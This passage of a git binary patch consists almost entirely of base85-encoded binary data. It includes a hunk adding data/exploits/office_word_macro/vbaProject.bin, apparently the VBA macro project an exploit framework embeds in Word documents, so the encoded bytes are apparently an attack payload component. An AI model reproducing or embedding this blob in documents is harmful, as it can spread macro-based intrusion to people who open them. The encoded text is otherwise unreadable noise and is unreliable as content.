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

ShORx{Mfw6^1*2`bUr)bw> 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 - \ No newline at end of file + \ No newline at end of file diff --git a/data/exploits/office_word_macro/vbaProject.bin b/data/exploits/office_word_macro/vbaProject.bin new file mode 100644 index 0000000000000000000000000000000000000000..0feb5de89ad0dd92d61aeda3f40dc2fb0e25681c GIT binary patch literal 15872 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 